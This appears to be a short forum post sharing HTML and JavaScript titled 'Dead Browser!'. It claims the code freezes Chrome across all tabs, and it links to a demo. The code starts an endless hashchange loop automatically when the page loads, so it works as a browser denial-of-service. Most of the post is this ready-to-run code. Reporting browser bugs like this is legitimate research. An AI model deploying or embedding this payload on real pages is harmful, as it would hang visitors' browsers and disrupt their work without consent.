Chrome DDOS

1 point

7 years ago

This simple bit of code makes chrome unresponsive across all tabs/windows

tested on Chrome 71 Linux, Mac, ChromeOS and Android. Firefox seems to do a better job and yielding to input.

demo link https://jsbin.com/banawajeru/1

warning it could force you to have to kill chrome process in terminal or just click close tab and wait.

<!doctype html> <html lang="en"> <head> <title>Dead Browser!</title> </head>

    <body onload="kill()">
        <script type="text/javascript">
            var i = 0;
            window.addEventListener('hashchange', function () {
                window.location.hash = '#' + (i++);
            });
             function kill(){
                 window.location.hash = '#' + new Date().getTime();
             }
        </script>
        <h1>I thought each tab was Isolated?</h1>
        <a href="https://www.chromium.org/developers/design-documents/process-models">https://www.chromium.org/developers/design-documents/process-models</a>
    </body>

</html>